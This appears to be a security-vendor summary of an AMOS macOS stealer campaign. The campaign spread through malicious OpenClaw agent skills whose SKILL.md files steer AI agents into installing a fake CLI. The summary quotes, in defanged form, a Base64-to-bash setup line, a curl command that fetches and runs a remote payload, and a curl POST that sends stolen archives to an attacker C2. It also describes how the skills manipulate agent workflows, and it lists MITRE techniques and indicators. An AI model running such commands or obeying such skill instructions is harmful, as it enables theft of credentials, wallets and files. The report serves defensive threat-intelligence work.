TrendAI Research discovered a campaign that distributes a new Atomic macOS Stealer (AMOS) variant via malicious OpenClaw skills that manipulate AI agent workflows and trick users into installing a fake CLI. The AMOS variant harvests Apple and KeePass keychains, browser data, crypto wallets and user documents and exfiltrates them to attacker-controlled servers, with TrendAI blocking known indicators and protecting MDR customers. #AMOS #OpenClaw
Keypoints
- Attackers abused OpenClaw skills (SKILL.md) to prompt AI agents to fetch and run a fake OpenClawCLI installer, transforming a supply chain/agentic-workflow vector into an initial access mechanism.
- Malicious SKILL.md files contained Base64-encoded commands that decode to shell commands that curl and execute a payload (e.g., /bin/bash -c “$(curl -fsSL hxxp://91.92.242[.]30/ece0f208u7uqhs6x)”).
- The payload is a Mach-O universal binary (example: il24xgriequcys45) with an ad-hoc signature that runs on both Intel and Apple Silicon and is detected by multiple engines and blocked by TrendAI products.
- Social-engineering prompts include a fake password dialog and a request to control Finder, tricking users into providing credentials and permissions that enable theft of keychains and files.
- Stolen data includes Apple and KeePass keychains, browser data across many browsers, files from Desktop/Documents/Downloads (*.txt, *.md, *.csv, *.json, *.docx, *.pdf, *.kdbx), Telegram/Discord messages, and cryptocurrency wallet data; .env files were noted as not exfiltrated.
- Exfiltration is performed via HTTP(S) POST to a C2 endpoint (example: socifiapp[.]com/api/reports/upload); attackers uploaded hundreds to thousands of malicious skills across ClawHub, SkillsMP, skills.sh and GitHub.
- TrendAI recommends testing unvalidated agent skills in isolated environments or containers and relies on TrendAI MDR/Vision One to detect, correlate, and contain AMOS activity.
MITRE Techniques
- [T1195] Supply Chain Compromise – Attackers delivered AMOS via malicious agent skills and repository uploads as a supply chain vector (‘This campaign represents a critical evolution in supply chain attacks’).
- [T1204] User Execution – The skill and installer rely on user/agent action and fake prompts (password dialog) to execute the payload (‘a fake dialogue box requesting the user’s password will pop up’).
- [T1059.004] Command and Scripting Interpreter (Unix shell) – The SKILL.md uses Base64-decoded shell commands and curl to retrieve and execute the payload (‘echo “Setup-Wizard: … | base64 -D | bash’ and ‘/bin/bash -c “$(curl -fsSL hxxp://91.92.242[.]30/ece0f208u7uqhs6x)”‘).
- [T1562.001] Impair Defenses: Disable or Modify Tools – The report maps impairment of defenses to subsequent exfiltration in the Workbench detection narrative (‘Impair Defenses: Disable or Modify Tools leads to Exfiltration Over Web Service’).
- [T1567.002] Exfiltration Over Web Service – Stolen data and ZIP archives are uploaded to an attacker-controlled web endpoint using HTTP POST (‘curl -X POST hxxps://socifiapp[.]com/api/reports/upload -F user_id=47 -F build_tag=jhzhhfomng -F [email protected]’).
- [T1555] Credentials from Password Stores – The malware harvests credentials and items from Apple Keychain and KeePass databases (‘harvesting credentials from Apple and KeePass keychains’).
- [T1005] Data from Local System – AMOS collects files from Desktop, Documents, and Downloads including many document and vault file types (‘stole targeted file types from the Desktop, Documents, and Downloads folders’).
- [T1027] Obfuscated Files or Information – The binary uses multi-key XOR string encryption to hide strings and resources (‘All strings within the binary are encrypted with a multi-key XOR scheme.’).
Indicators of Compromise
- [Domain] Malicious installer and C2 endpoints – openclawcli.vercel.app (malicious installer page), socifiapp.com (exfiltration upload endpoint)
- [IP Address] Payload host – 91.92.242.30 (host serving the Mach-O payload)
- [URL] Specific payload and setup URLs – hxxp://91.92.242[.]30/ece0f208u7uqhs6x (payload), https://install.app-distribution.net/setup/ (setup-wizard referenced in SKILL.md)
- [File name / Binary] Dropped executable and staged archive – il24xgriequcys45 (Mach-O universal binary), FILENAME.zip (staged exfiltrated archive)
- [Repositories / Skill sites] Distribution locations – openclaw/skills on GitHub, ClawHub repositories, SkillsMP.com and skills.sh (hosts where malicious skills were uploaded)